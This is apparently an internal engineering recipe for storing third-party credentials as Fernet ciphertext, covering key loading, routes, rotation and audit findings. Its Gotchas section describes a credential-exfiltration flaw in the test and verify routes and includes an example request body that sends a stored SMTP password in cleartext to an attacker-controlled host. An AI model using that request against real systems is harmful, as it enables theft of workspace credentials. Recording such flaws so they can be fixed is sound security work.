Credential encryption at rest

Purpose

A third-party credential a workspace hands the platform (a calendar OAuth token, a CalDAV app password, an iCal feed token, an SMTP or IMAP password, a payment provider's API credential, an ad platform's access token) is stored as Fernet ciphertext and decrypted only in the request that uses it, so a database dump, a backup or a GET .../settings response never yields a usable credential, and the request that decrypts it sends it only to the host the workspace stored (the reference's test and verify routes do not, Gotchas). The invariant that makes it trustworthy is that one symmetric key, loaded from the environment at boot and never generated on a production host, is the only way from the stored bytes back to the credential: distribute-env.sh refuses to invent it, the calendar loader refuses to boot without it and the accounting loader refuses at first use, and a rotation is a re-encryption, never a silent re-key.

When to use

Include it from every recipe that stores a credential a workspace owns: calendar-booking (B37 to B41, the Google tokens, feed and CalDAV columns), messaging-email-sms (the SMTP and IMAP blocks, B113 to B116), commerce-payments (the payment provider block, B54), analytics-tracking and ads (the tracking tokens, B95 to B111), bookkeeping (the accounting Google tokens). Trigger phrases: "where is the password stored", "the token is in plain text", "rotate the encryption key", "the settings endpoint returns the password", "encrypted at rest", "which key does this use", "dual-read".

Do not use it for the platform's own credentials in core/config.py (SecretStr fields, read from the environment, never in the database), for passwords of Labs accounts (bcrypt, S5), for API keys the platform mints (SHA-256, never reversible, S5 and B10), for the EmDash per-site token (EMDASH_ENCRYPTION_KEY, a second key with its own boot validator, core/config.py 627 to 652; content-cms, B156), or for stored database-connection passwords (CONNECTION_ENCRYPTION_KEY, a third key, services/database_service.py 39 to 82). Those two keys follow the same primitive and the same rules; this recipe is the calendar key and everything that borrowed it.

Stack assumptions

Pinned at fd8558f (2026-09-12): cryptography==46.0.0 (requirements.txt 23), cryptography.fernet.Fernet (AES-128-CBC with an HMAC-SHA256 tag, a version byte and a timestamp, base64url encoded, the token starting gAAAAA); Postgres 15 in production (docker-compose.prod.yml 9, postgres:15-alpine) while the harness the acceptance checks run on is postgres:14 (docker-compose.test.yml 115; nothing here depends on the difference), the credential columns as text and the settings blocks as json. Foundations assumed: S4 (the loader runs at import time of a module singleton, so a bad key fails the process at boot), S6 (every block is keyed by workspace_id, and every read goes through WorkspaceID), S13 (distribute-env.sh is where the key lives).

Environment names and their fail behaviour:

Name	Read by	Behaviour without it
CALENDAR_ENCRYPTION_KEY	os.getenv in calendar_integration_service.py 90, accounting_oauth_service.py 56, oauth_token_crypto.py 66; not a Settings field (grep -c CALENDAR_ENCRYPTION_KEY core/config.py prints 0)	with ENVIRONMENT=development: a key is generated into .calendar_encryption_key in the working directory and reused (96 to 107); otherwise the calendar loader raises ValueError at import (108 to 112), the accounting loader raises the same at first use (76; it is built behind a _LazyProxy, 481 to 496) and the lenient one degrades to plaintext with a warning (100 to 104)
ENVIRONMENT	the three loaders	development is the only value that may mint a file key; unset is read as development (the os.getenv default at calendar_integration_service.py 102, oauth_token_crypto.py 85, accounting_oauth_service.py 69), so a host that forgets to set it mints a file key

The value is a 32-byte key, base64url, 44 characters: python -c "import base64,os;print(base64.urlsafe_b64encode(os.urandom(32)).decode())" (the form distribute-env.sh 39 uses; Fernet.generate_key() produces the same shape). A malformed value raises inside Fernet() at import for the calendar loader, at first use for the accounting loader, and is caught into plaintext mode by the lenient one (68 to 72).

A build to this recipe: CREDENTIAL_ENCRYPTION_KEY is a Settings field, required in every environment including development (no file key is minted anywhere; a developer exports the value the same way as the other secrets), with the Fernet validator of Gotcha 2 on it and on CREDENTIAL_ENCRYPTION_KEY_PREVIOUS; ENVIRONMENT no longer changes how the key is loaded.

Data model

Ciphertext columns and blocks at fd8558f, all encrypted with the calendar key:

-- models/calendar_integration_model.py 82 to 135
calendar_integrations (
  id uuid PRIMARY KEY,
  workspace_id uuid NULL REFERENCES workspaces(id) ON DELETE CASCADE,   -- NULL = platform-level
  user_id uuid NULL REFERENCES users(id) ON DELETE SET NULL,
  provider varchar(50) NOT NULL DEFAULT 'google',
  access_token_encrypted text NULL,            -- Fernet(OAuth access token)
  refresh_token_encrypted text NULL,           -- Fernet(OAuth refresh token)
  token_expires_at timestamptz,
  ical_feed_url text, feed_auth_type varchar(20) DEFAULT 'none',
  feed_auth_value_encrypted text NULL,         -- Fernet(bearer token | basic-auth password | query token)
  feed_auth_username varchar(255),
  caldav_url text, caldav_username varchar(255),
  caldav_password_encrypted text NULL,         -- Fernet(app password)
  is_active boolean DEFAULT true, connected_at timestamptz DEFAULT now(), ...
);

-- services/workspace/models.py 86 to 95; baseline_prod_schema_001.py 2234: settings json NOT NULL (json, not jsonb)
workspace_settings (id uuid PRIMARY KEY, workspace_id uuid UNIQUE NOT NULL REFERENCES workspaces(id) ON DELETE CASCADE,
                    settings json NOT NULL,   -- no column default; the {} is the ORM default (models.py 92), so a raw INSERT must supply it (smtp_config.py 101 to 102)
                    created_at, updated_at);

Blocks inside workspace_settings.settings, each read-merge-written by its own module and each carrying the ciphertext under a *_encrypted key that the GET of that module never returns:

Block	Ciphertext keys	Module
smtp	password_encrypted	services/smtp_config.py 43 to 107
imap (the desk inbox)	password_encrypted	services/service_desk/inbox_config.py 75, 104
payrexx	api_secret_encrypted, webhook_secret_encrypted	services/payrexx_config.py 57 to 75
quentn	api_key_encrypted (written by save_quentn_config, 136 to 137); webhook_secret_encrypted (minted server-side by ensure_webhook_secret, 168 to 184, never taken from a request, and redisplayed in plaintext by the webhook-url GET, API surface)	services/quentn_config.py 76 to 184
tracking	meta_access_token, linkedin_access_token, linkedin_refresh_token, google_ads_refresh_token, google_ads_connections[].refresh_token (the same key names as before encryption; the value's gAAAAA prefix says which it is)	services/security/oauth_token_crypto.py 45 to 54

Elsewhere: the Google OAuth state parameter is Fernet(json({"workspace_id"})) (calendar_integration_service.py 178 to 179, decrypted at 202 without a ttl); the accounting Google tokens and state (accounting_oauth_service.py, accounting_google_router.py 48). The outreach Gmail path (services/outreach/gmail_service.py 146 to 182) stores nothing of its own: it reads the calendar_integrations row above through attribute names the model does not have, so it fails before it decrypts anything (Gotchas).

What is not stored: the key (environment only; the dev file .calendar_encryption_key is gitignored at .gitignore 163 and 165); a key id or version on any ciphertext (Fernet's version byte is the format's, not ours, which is why rotation needs a re-encryption pass, Deploy & ops); the plaintext, except where the dual-read shim tolerates a legacy value (the tracking block before encrypt_ad_oauth_tokens_001 ran, or any environment without a key).

API surface

This module owns no route. The routes that write ciphertext and the read that must never return it, as they stand at fd8558f (auth and tenancy are those modules' own; listed so a verifier can find the seam):

Route	Auth dep	Tenancy	Codes	Encrypts
POST /api/calendar/integrations/ical (calendar_router.py 390 to 400)	CurrentUser + _assert_calendar_connect_access	body.workspace_id	200; 400 bad auth_type	feed_auth_value_encrypted
POST /api/calendar/integrations/caldav (428 to 436)	same	same	200	caldav_password_encrypted
GET /api/calendar/callback (calendar_router.py 866 to 875, mounted at app_fastapi.py 840; the token write in calendar_integration_service.py 233 to 267)	none, the callback's own (code and state query parameters; an optional user_id query parameter names the user, else the first is_admin user, 887 to 897)	state	redirect; 401 when user_id matches no user or no admin exists	access_token_encrypted, refresh_token_encrypted
PUT /api/workspaces/{id}/smtp (workspace_router.py 685 to 702)	get_current_user + verify_workspace_access(required_role="admin") (699 to 700)	path	200 get_smtp_config shape; 403	smtp.password_encrypted, only when password is present in the body (smtp_config.py 88 to 89)
GET /api/workspaces/{id}/smtp (670 to 683)	get_current_user + access	path	200 {configured, host, port, username, from_address, encryption, subject_flag, secure_recipient, has_password}	returns has_password: bool, never the value (52 to 66)
DELETE /api/workspaces/{id}/smtp (705 to 720), DELETE .../imap (818 to 829), DELETE .../payrexx (925 to 937), DELETE .../quentn (1027 to 1036)	get_current_user + verify_workspace_access with no required_role (716, 825, 936; 1033 through _assert_ws_access), so any member	path	200 {configured: false}; 403	nothing; pops the whole block, ciphertext included (smtp_config.py 110 to 119, inbox_config.py 160, payrexx_config.py 96, quentn_config.py 156 to 166; Gotchas: no admin gate)
POST /api/workspaces/{id}/smtp/test (723 to 760) and POST .../imap/test (832 to 876)	get_current_user + verify_workspace_access with no required_role (736, 842), so any member	path	200 {ok, to} or {ok: false, error}; 403	nothing; decrypts. The body is the PUT shape (SmtpTestRequest, 665; ImapConfigPut, 771), host, port, username and encryption come from it, and when it carries no password the stored one is decrypted (with_password=True, 745 and 850) and sent to the body's host (email_service.send_via_smtp, 1232 onward, the host read at 1298 and the login at 1370; imaplib.IMAP4_SSL(cfg["host"]) 858). Gotchas
POST /api/workspaces/{id}/payrexx/verify (943 to 972) and POST .../quentn/verify (1104 to 1128)	same, no required_role (956; 1112 through _assert_ws_access)	path	200 the provider's verify result or {ok: false, error}; 403	nothing; decrypts. instance_name (971) and base_url (1127) come from the body, the stored api_secret or api_key is decrypted when the body carries none (with_secrets=True, 965 and 1119). Gotchas
GET /api/workspaces/{id}/quentn/webhook-url (1039 to 1053)	get_current_user + _assert_ws_access, any member	path	200 {url}	the one documented GET that returns a decrypted value: ensure_webhook_secret (quentn_config.py 168 to 184) mints webhook_secret_encrypted on first call and the plaintext value is the last path segment of url; by its docstring's design (169 to 173: a bearer token Labs itself verifies, redisplayed so a lost URL can be recovered, not a third-party credential)
PUT /api/workspaces/{id}/imap (799 to 812) and PUT .../payrexx (905 to 919)	get_current_user + verify_workspace_access(required_role="admin") (812, 919)	path	same pattern as SMTP	imap.password_encrypted; payrexx.api_secret_encrypted, webhook_secret_encrypted
PUT /api/workspaces/{id}/quentn (1014 to 1024)	get_current_user + _assert_ws_access (996 to 999: verify_workspace_access with no required_role, so any member)	path	200; 403	quentn.api_key_encrypted only (quentn_config.py 136 to 137); the webhook token is never taken from a request (Gotchas: no admin gate)
the IMAP, Payrexx and Quentn GETs (784, 890, 1002)	get_current_user + access	path	200	return has_* flags, never a value
the six ad-platform token write sites, one per router (meta_oauth_router.py 290 to 294, linkedin_oauth_router.py 312 to 320, linkedin_ads_router.py 60 to 74, google_ads_oauth_router.py 203 to 220, audience_sync_router.py 181 to 194, tracking_router.py 3539 to 3540)	their own	workspace	redirect or 200	the tracking keys
GET /api/workspaces/{id}/settings (workspace_router.py 564 onward)	get_current_user + access	path	200 the whole settings object; 403; 404 when no workspace_settings row exists (578 to 592)	returns every block as stored, ciphertext included (Gotchas)

Error shape on a decrypt failure: cryptography.fernet.InvalidToken propagates from the strict path (decrypt_token, 141 to 143) and S7 renders it as a 500; the lenient path returns the stored value unchanged (oauth_token_crypto.py 151 to 153).

Application logic

1. Boot: calendar_service = CalendarIntegrationService() at module import (calendar_integration_service.py 1716) runs _get_or_create_key (78 to 112) and Fernet(key) (70). Order: CALENDAR_ENCRYPTION_KEY from the environment; else the file .calendar_encryption_key; else, in development only, generate and write the file; else raise. accounting_oauth_service repeats the same loader (55 to 76) but runs it at first use, behind the _LazyProxy at 481 to 496. oauth_token_crypto._get_cipher (57 to 104) is lru_cached and follows the same order, but returns None where the others raise.
2. Write: the caller passes the plaintext to calendar_service.encrypt_token(value) (137 to 139: cipher.encrypt(value.encode()).decode()) and stores the returned string in the column or the block. For the settings blocks the write is read-merge-write on the whole settings object (smtp_config.py 73 to 107: SELECT settings, mutate one block, UPDATE ... SET settings = CAST(:s AS json) or INSERT), committing inside the helper; the block's password is rewritten only when the request carries one, so a PUT that edits the host keeps the stored password.
3. Read for use: the caller passes the stored string to decrypt_token (141 to 143: cipher.decrypt(value.encode()).decode()) inside the request that needs the plaintext (a send, a calendar call, a webhook check). The settings helpers expose this as with_password=True (smtp_config.py 43 and 67 to 69) so that the API response path never calls it. The four test and verify routes are the other callers of that flag in the router (workspace_router.py 745, 850, 965, 1119): they decrypt the stored credential when the request carries none and use it against the host, instance or base URL the request names, not the stored one (Gotchas).
4. Read for display: the helper returns has_password: bool(block.get("password_encrypted")) (65) and omits the value.
5. The tracking block (the lenient path): encrypt_token is idempotent on a gAAAAA value (oauth_token_crypto.py 122 to 123) and a pass-through with no key (124 to 126); decrypt_token returns a non-gAAAAA value unchanged (147 to 148) and swallows InvalidToken (151 to 153). encrypt_tracking_tokens and decrypt_tracking_tokens (165 to 211) apply this to the five known fields on a copy of the dict. The backfill migration encrypt_ad_oauth_tokens_001 (2026-06-10) ran the same helper over every existing row.
6. Rotation (nothing at fd8558f implements it; the procedure is Deploy & ops): decrypt with the old key, encrypt with the new, one row at a time, then swap the environment value.

Invariants

• One key for one purpose: every module that says "shares the calendar key" (smtp_config.py 4 to 6, inbox_config.py 5 to 6, oauth_token_crypto.py 12 to 14, the migration's docstring) reads CALENDAR_ENCRYPTION_KEY and nothing else; the EmDash and connection keys are separate names for separate blast radii.
• No production key is minted: distribute-env.sh require() refuses an empty LABS_PROD_CALENDAR_ENCRYPTION_KEY (56 to 67, 126 to 127) and ensure ... fernet mints only the staging value (144); the two strict loaders raise outside development.
• A GET returns has_password, never password and never the ciphertext, for every block this module documents (smtp_config.py 65, inbox_config.py 75 gated on with_password, payrexx_config.py 57 gated the same way). The one exception is the Quentn webhook-url GET (API surface), which returns the webhook token Labs minted for itself, by design; a third-party credential never leaves the server through a GET.
• A test or verify call that falls back to the stored credential sends it only to the stored host, instance or base URL, and only for a workspace admin. The reference violates both halves (Gotchas); a build to this recipe refuses the fallback when the request's host differs from the stored one.
• A PUT without the credential field leaves the stored ciphertext untouched (smtp_config.py 86 to 89, payrexx_config.py 72 to 75, quentn_config.py 136 to 137).
• Ciphertext is non-deterministic (test_encrypt_token_nondeterministic): two writes of one value differ, so a stored blob is not a lookup key and cannot be compared for equality.
• The plaintext exists in memory for the duration of the request that needs it and is never logged: in services/smtp_config.py it is assigned at 69 (cfg["password"], behind with_password) and consumed at 88 to 89 (encrypted on the way in), and grep -n "logger.*password" services/smtp_config.py prints nothing.
• Decryption with the wrong key is a loud InvalidToken on the strict path; there is no fallback to plaintext there, so a swapped key is discovered at the first use, not silently.

Frontend

The settings cards that render this module, by id (four are not files yet at 2026-09-12; the interim link is the identity card nearest them):

identity-auth/ui/api-keys-settings-and-developer-dashboard   interim: the settings card family this pattern belongs to
calendar-booking/ui/calendar-settings                         the iCal and CalDAV connect forms: password field write-only,
                                                              the status card never shows a stored value
commerce-payments/ui/payment-settings-card                    PayrexxCard: instance, API credential write-only, "verify" then "save",
                                                              has_secret chips instead of the value
messaging-email-sms/ui/email-settings-cards                   CustomSmtpCard and CustomImapCard: placeholder
                                                              "•••••••• (gespeichert – leer lassen, um zu behalten)" (verbatim, an en dash) when has_password
                                                              (frontend/src/components/settings/CustomSmtpCard.tsx 174)
analytics-tracking/ui/tracking-settings-and-conversion-tester the ad-platform connections: "connected" state from the presence of
                                                              a token, the token itself never rendered

The pattern every card follows (F49's "load, test, save"): GET fills the form from has_password; the password input is empty with a placeholder that says a value is stored; a save without a password keeps it; a test call uses the stored value server-side against the stored host (at fd8558f the reference sends it to whatever host the request body names, Gotchas; the cards send the form's host, which is the stored one until the user edits it).

Minimum admin and debug surface: the boot log line Using CALENDAR_ENCRYPTION_KEY from environment (calendar_integration_service.py 92) versus the warning Created new calendar encryption key file (106) tells an operator which mode a host booted in; oauth_token_crypto.encryption_available() (107 to 109) is the programmatic form; SELECT count(*) FROM calendar_integrations WHERE access_token_encrypted IS NOT NULL AND access_token_encrypted NOT LIKE 'gAAAAA%' is the audit for plaintext in a column.

Security & tenancy

Auth dependency: the writing routes' own (S5), with the workspace-admin role on the SMTP, IMAP and Payrexx PUTs only (workspace_router.py 699, 812, 919; grep -c 'required_role="admin"' api/routers/workspace_router.py prints 3) and any-member access on the Quentn PUT (1014 to 1024 through _assert_ws_access, 996 to 999), on the four DELETEs (716, 825, 936, 1033) and on the four test and verify routes (736, 842, 956, 1112; Gotchas). Rate limits at fd8558f: none on the settings PUTs, the connect routes or the OAuth callbacks as route dependencies (grep -rln rate_limit api/routers lists neither workspace_router.py, calendar_router.py nor the six ad routers); all of them sit under the middleware's per-IP ceiling only (unified_middleware.py 81 to 86, RATE_LIMIT_IP_PER_MINUTE, default 1000 at core/config.py 811; identity-auth/rate-limiting). Workspace derivation: S6, the block lives under the workspace's row and the columns carry workspace_id. Fail direction: closed on the strict path (no key, no boot; wrong key, a 500 at first use), open on the lenient path by its authors' decision (oauth_token_crypto.py 16 to 22: "best effort secure"), which this recipe records and does not adopt: a new build has one loader, strict, and no plaintext pass-through.

Credentials at rest: the key in the environment (/opt/alchemy/<app>/.env, mode 0600, S13), never in the database and never logged; the dev file at mode 0644 in the checkout (measured 2026-09-12 in the worktree: -rw-r--r--), acceptable only because it is development. What a database dump yields: gAAAAA... strings, useless without the key; what a settings GET yields: the same strings (Gotchas).

Attacker-controlled inputs: the credential values themselves (any length; Fernet has no length limit and the column is text), the block's other fields (host, port, usernames; stored as given, used by the sender), the test and verify bodies (host, port, encryption, instance_name, base_url: used as given in the same request, together with the stored credential when the body omits it, so the request names where the decrypted credential goes; with encryption: "none" the SMTP login at email_service.py 1370 is cleartext to that host), the OAuth state (decrypted, then json.loads, then UUID(); a forged state fails InvalidToken before parsing). A member with workspace read can fetch every ciphertext through GET .../settings; a member without the admin role cannot write the SMTP, IMAP or Payrexx blocks, but can write the Quentn block, delete every block, and route the stored SMTP or IMAP password, Payrexx credential or Quentn key to a host of their choosing through the test and verify routes (Gotchas).

Tenancy of the key: platform-wide. One key decrypts every workspace's credentials, which is the accepted blast radius at this scale; a per-workspace key would be a key-management module of its own. Rotation therefore touches every row.

Tests

Backend, run 2026-09-12 at fd8558f:

• tests/v2/test_f4_oauth_encryption.py: 9 passed in 0.16s. test_meta_token_encrypted_at_rest (54), test_token_decrypts_on_use (62), test_dual_read_legacy_plaintext (68), test_dual_read_mixed_dict (74), test_all_token_fields_encrypted (87), test_encrypt_is_idempotent (112), test_non_secret_fields_untouched (117), test_none_passthrough (123), test_original_dict_not_mutated (131). Hermetic: the key comes from the dev file or the environment the test process carries.
• tests/v2/coverage/test_booking_g3_workspace_tenant_integration_endpoints_ical_caldav_connect_access_control.py: test_encrypt_decrypt_round_trip (134) and test_encrypt_token_nondeterministic (141) on calendar_service, plus the two route-level proofs that the connect routes store ciphertext: test_connect_ical_encrypts_auth_value (476: POST /api/calendar/integrations/ical with a bearer value, then the row's feed_auth_value_encrypted differs from the submitted value and decrypts back to it) and test_connect_caldav_encrypts_password (517: the same for caldav_password_encrypted). -k "encrypt" selects those four (4 passed, 27 deselected on 2026-09-12); the access-control cases around them are B39's.
• No test at fd8558f covers: the loader's refusal outside development (ENVIRONMENT=production with the variable unset raises), a GET .../smtp never containing password or password_encrypted, a PUT without password preserving the stored ciphertext, the OAuth state round trip, the settings GET exposure, or the decrypt-for-use seam (a member's POST .../smtp/test without password and with a host that differs from the stored one is refused with 403 before any decrypt, and the same for imap/test, payrexx/verify and quentn/verify; measured 2026-09-12 at fd8558f: grep -rn "smtp/test\|imap/test\|payrexx/verify\|quentn/verify" tests/ prints nothing). A new build adds tests/test_credential_encryption.py with those six, plus the known-answer vector below.
• Known-answer vector: there is none on the ciphertext, by construction. A Fernet token carries a timestamp and a random IV, so encrypt is non-deterministic and a test that pins ciphertext bytes is wrong. The vectors a rebuilt module pins instead (computed 2026-09-12 with cryptography==46.0.0): a key is 44 characters of base64url decoding to 32 bytes, and Fernet("not-a-key") raises ValueError("Fernet key must be 32 url-safe base64-encoded bytes."); every token starts with gAAAAA (the version byte 0x80, which is what _looks_encrypted reads); Fernet(k).decrypt(Fernet(k).encrypt(b"x")) == b"x"; Fernet(k2).decrypt(t) raises InvalidToken for any t made with k; Fernet(k).extract_timestamp(t) equals the wall-clock second of the encrypt call. The loader vectors are Acceptance check 4. Playwright: none; the cards are their own recipes' gates.

Deploy & ops

Config keys per app heredoc (S13, distribute-env.sh at b3d34da): CALENDAR_ENCRYPTION_KEY=${LABS_PROD_CALENDAR_ENCRYPTION_KEY} for production (242) and ${LABS_CALENDAR_ENCRYPTION_KEY} for staging (the ensure ... fernet at 144 mints the staging value once and writes it back to env/.env); the production value is require()d (127) and must be recovered from the host's .env or a backup, never regenerated. Alongside it in the same heredoc: EMDASH_ENCRYPTION_KEY and CONNECTION_ENCRYPTION_KEY (240 to 241), the other two Fernet keys, with the same rule (env/.env.example 165 at b3d34da: "MUST be stable across deploys").

Migrations order: the ciphertext columns are in the baseline; encrypt_ad_oauth_tokens_001 (20260610_0002_encrypt_ad_oauth_tokens.py, revises tracking_contacts_ws_unique_001) backfills the tracking block and is a no-op without a key (its docstring 17 to 22), so it must run on a host that carries the key or it silently leaves plaintext behind. Scheduler jobs: none. Argus checks: the boot log carries Using CALENDAR_ENCRYPTION_KEY from environment on every production start (a Created new calendar encryption key file line on a production host is an incident: it means the variable was missing and the strict loader's environment check also failed, which cannot happen with ENVIRONMENT=production and is the signal that ENVIRONMENT itself is wrong); the plaintext audit query under Frontend returns 0.

Rotation, which nothing at fd8558f automates: (1) generate the new key and add it to the heredoc under a second name (CREDENTIAL_ENCRYPTION_KEY_PREVIOUS in a build to this recipe: the outgoing key moves there and the new value takes CREDENTIAL_ENCRYPTION_KEY, the Settings field named under Gotchas; the reference keeps CALENDAR_ENCRYPTION_KEY only when extracting in place); (2) run a one-off script on the host that, in one transaction per row, decrypts every ciphertext column and block with the old key and encrypts it with the new (calendar_integrations four columns, workspace_settings.settings five blocks, the accounting columns; the outreach Gmail path has no columns of its own, it reads calendar_integrations); (3) move the new value into the primary name and deploy; (4) remove the previous name. cryptography's MultiFernet([new, old]) (the two Settings fields in that order) (decrypts with either, encrypts with the first, and rotate() re-encrypts) is the primitive a new build wraps so that step 2 is MultiFernet.rotate and step 3 is a deploy. Losing the key is losing every stored credential: the recovery is reconnecting every integration, which is why the estate keeps the value in env/.env backups (distribute-env.sh 61 to 64). Rollback of a code deploy does not touch the key; rollback of a rotation is steps 2 and 3 with the keys swapped, possible only while both values exist.

Gotchas

• 2026-09-12 (measured at fd8558f): three loaders for one key, with two fail directions. calendar_integration_service._get_or_create_key (78 to 112) and accounting_oauth_service._get_or_create_key (55 to 76) raise outside development; oauth_token_crypto._get_cipher (57 to 104) returns None and stores plaintext with a warning. Only the calendar loader stops a boot: calendar_service is built at import (calendar_integration_service.py 1716, pulled in through api/routers/__init__.py 13 and calendar_router.py 28), while AccountingOAuthService() is built behind a _LazyProxy (accounting_oauth_service.py 481 to 496) and raises at first use. On an API host with ENVIRONMENT=production or staging and no key the boot therefore stops before the lenient loader runs (the check is == "development", not != "production"). The plaintext pass-through is reachable in any process that imports oauth_token_crypto without the calendar singleton: chiefly the alembic backfill (20260610_0002_encrypt_ad_oauth_tokens.py 51 to 55 imports only services.security.oauth_token_crypto, and migrations/env.py 14 to 28 imports core.config, core.database and models, never the calendar service) and any standalone script, on any ENVIRONMENT; that is how Gotcha 7 happens. A new build keeps one loader, core/crypto.py, strict everywhere, and the ad-platform routers import it.
• 2026-09-12 (measured at fd8558f): CALENDAR_ENCRYPTION_KEY is read with os.getenv and is not a Settings field, so it bypasses core/config.py's boot validators; the EmDash key has one (_validate_fernet, 628 to 652) and the connection key validates inline (database_service.py 54 to 62). A malformed calendar key is a ValueError from inside Fernet() during import with no field name in the message. Add the field with the same validator: CREDENTIAL_ENCRYPTION_KEY in a build to this recipe (the key is no longer calendar-specific), CALENDAR_ENCRYPTION_KEY only when extracting the reference in place.
• 2026-09-12 (measured at fd8558f): GET /api/workspaces/{id}/settings (workspace_router.py 564 onward) returns the whole settings object, so smtp.password_encrypted, payrexx.api_secret_encrypted and the tracking tokens leave the server to any member with workspace read. With the key present they are ciphertext and useless; a tracking value that predates the backfill, or was written on a keyless host, is plaintext in that response. The desk containment (services/service_desk/access.py 396 to 400) names this route as "the hole" and fences desk-only accounts off it for exactly this reason. A new build strips every *_encrypted key and every field in SCALAR_TOKEN_FIELDS from that response, or drops the route in favour of the per-block GETs.
• 2026-09-12 (measured at fd8558f): the Google OAuth state is Fernet-encrypted (178 to 179) and decrypted without ttl (202), so a captured state never expires, and it carries only the workspace id, not a nonce bound to the requesting session; the callback binds whichever Google account completes the flow to the workspace in the state. This is a B37 finding recorded here because it is a use of this key; the fix is decrypt(token, ttl=600) plus a per-session nonce stored in Redis.
• 2026-09-12 (measured at fd8558f): caldav_provider.py 35 and ical_provider.py 58 construct CalendarIntegrationService() per call rather than using the module singleton, which re-runs the loader and _validate_google_config (and its warning) on every feed fetch. Harmless with the key in the environment; a file read per call in development. Use calendar_service.
• 2026-09-12 (measured at fd8558f): workspace_settings.settings is json, not jsonb (baseline_prod_schema_001.py 2234, services/workspace/models.py 92), and the helpers write with CAST(:s AS json); the inventory row's "JSONB" is wrong for this table. No ->> index can be built on it and every block write rewrites the whole document, which is why the read-merge-write must stay inside one request and why two concurrent PUTs to different blocks can lose one.
• 2026-09-12 (measured at fd8558f): the backfill migration is a no-op without a key by design (its docstring), so a staging database migrated before LABS_CALENDAR_ENCRYPTION_KEY was ensured keeps plaintext tokens that the dual-read then serves forever. The audit query under Frontend, run against the tracking block (SELECT workspace_id FROM workspace_settings WHERE settings::jsonb->'tracking'->>'meta_access_token' NOT LIKE 'gAAAAA%'), finds them; re-running the migration's upgrade() body, or encrypt_tracking_tokens over each row, fixes them.
• 2026-09-12 (measured at fd8558f): the dev key file is created relative to the working directory (key_file = ".calendar_encryption_key", 96), so a process started from another directory mints a second key and cannot read what the first wrote. .gitignore lists both backend/.calendar_encryption_key and the bare name (163, 165) for that reason.
• 2026-09-12 (measured at fd8558f; D8, recorded, no code changed in this wave): PUT /api/workspaces/{id}/quentn (workspace_router.py 1014 to 1024) guards with _assert_ws_access (996 to 999), which calls verify_workspace_access(current_user.id, workspace_id) without required_role, so any workspace member can rewrite quentn.api_key_encrypted (save_quentn_config writes only that key, quentn_config.py 136 to 137; the webhook token is minted server-side and no request writes it); the SMTP, IMAP and Payrexx PUTs pass required_role="admin" (699, 812, 919). The four DELETEs carry no role either: DELETE .../smtp (705 to 720, guard at 716), .../imap (818 to 829, guard at 825), .../payrexx (925 to 937, guard at 936) and .../quentn (1027 to 1036, _assert_ws_access at 1033) each pop the whole block, ciphertext included, so any member can wipe a stored credential and the workspace's relay, inbox, payment or CRM connection with it. The fix it needs is required_role="admin" on the Quentn PUT and on all four DELETEs; a build to this recipe gives every route that writes, deletes or decrypts a credential the admin role.
• 2026-09-12 (measured at fd8558f; D8, recorded, no code changed in this wave): the four test and verify routes let a workspace member exfiltrate a stored credential. POST /api/workspaces/{id}/smtp/test (723 to 760) and POST .../imap/test (832 to 876) guard on plain verify_workspace_access (736, 842), take host, port, username and encryption from the body (cfg = body.dict(), 743 and 848) and, when the body has no password, decrypt the stored one (get_smtp_config(..., with_password=True) 744 to 747; get_imap_config(..., with_password=True) 849 to 852) and log in with it at the body's host (email_service.send_via_smtp 760, which opens _UpperSMTP(host, port) at 1364 and calls server.login(username, password) at 1370, in cleartext when the body says encryption: "none"; imaplib.IMAP4_SSL(cfg["host"], ...) then conn.login at 858 to 860). POST .../payrexx/verify (943 to 972, guard at 956) does the same with the stored api_secret (965 to 967) against body.instance_name (971), and POST .../quentn/verify (1104 to 1128, _assert_ws_access at 1112) with the stored api_key (1119 to 1121) against body.base_url (1127). A member therefore posts {"host": "<a host they control>", "port": 587, "encryption": "none", "username": "<the stored username>"} with no password and reads the workspace's SMTP password off their own listener; no test at fd8558f covers any of the four routes. The fix it needs is required_role="admin" on all four, and, when the body omits the credential, taking the host, instance or base URL from the stored block as well (or refusing the fallback when they differ from the stored ones). The Frontend pattern sentence is stated for the build; the cards themselves send the form's host, which is the stored one until edited.
• 2026-09-12 (measured at fd8558f; D8, recorded, no code changed in this wave): the outreach Gmail path is broken at its first decrypt. services/outreach/gmail_service.py _get_gmail_service (146 to 182) queries CalendarIntegration (148 to 150) and reads integration.access_token and integration.refresh_token (156 to 157, and writes them at 177 to 179 after a refresh); the model defines only access_token_encrypted and refresh_token_encrypted (models/calendar_integration_model.py 103 to 104; grep -n "access_token" models/calendar_integration_model.py prints line 103 only), so the path raises AttributeError before decrypt_token runs. It is reachable through services/outreach/outreach_service.py 24 (send_email at 324, check_thread_replies at 422). There is no separate ciphertext to rotate there; an earlier draft of this recipe listed "the outreach Gmail columns", which do not exist. The fix it needs is to read and write access_token_encrypted and refresh_token_encrypted.
• 2026-09-12 (measured at b3d34da, read with git show b3d34da:env/.env.example; the working tree carries an uncommitted four-line insertion that shifts these anchors): env/.env.example lines 91 to 92 say ad-platform tokens are encrypted with LABS_CONNECTION_ENCRYPTION_KEY; the code uses the calendar key (oauth_token_crypto.py 66). The example's comment is wrong; the heredoc lines (240 to 242) are right.

Reference implementation

alchemy_labs, branch d1a-token-source at fd8558f (2026-09-12; backend identical to feat/service-desk b1089b6). Paths relative to backend/:

• services/calendar_integration_service.py (1716 lines): __init__ (69 to 76), _get_or_create_key (78 to 112), encrypt_token and decrypt_token (137 to 143), the state round trip (178 to 179, 202), the token writes (239 to 240, 266 to 267, 393), the token reads (377 to 378), the singleton (1716).
• services/smtp_config.py (157 lines): _load_settings (27 to 40), get_smtp_config (43 to 70), save_smtp_config (73 to 107), delete_smtp_config (110 to 119).
• services/security/oauth_token_crypto.py (211 lines): _FERNET_PREFIX (42), SCALAR_TOKEN_FIELDS (45 to 54), _get_cipher (57 to 104), encryption_available (107), encrypt_token (112 to 131), decrypt_token (134 to 153), _looks_encrypted (156 to 158), the dict helpers (165 to 211).
• services/accounting/accounting_oauth_service.py: the third loader (__init__ 52, _get_or_create_key 55 to 76).
• services/service_desk/inbox_config.py (45, 75, 104, 160), services/payrexx_config.py (38, 57 to 75, 96), services/quentn_config.py (get_quentn_config 76, save_quentn_config 114 to 153, delete_quentn_config 156 to 166, ensure_webhook_secret 168 to 184), services/outreach/gmail_service.py (146 to 182, the broken reader; Gotchas), services/calendar/caldav_provider.py (35), services/calendar/ical_provider.py (58).
• models/calendar_integration_model.py: CalendarIntegration (82 to 139, the four ciphertext columns at 103, 104, 116, 126).
• services/workspace/models.py 86 to 95: WorkspaceSettings.
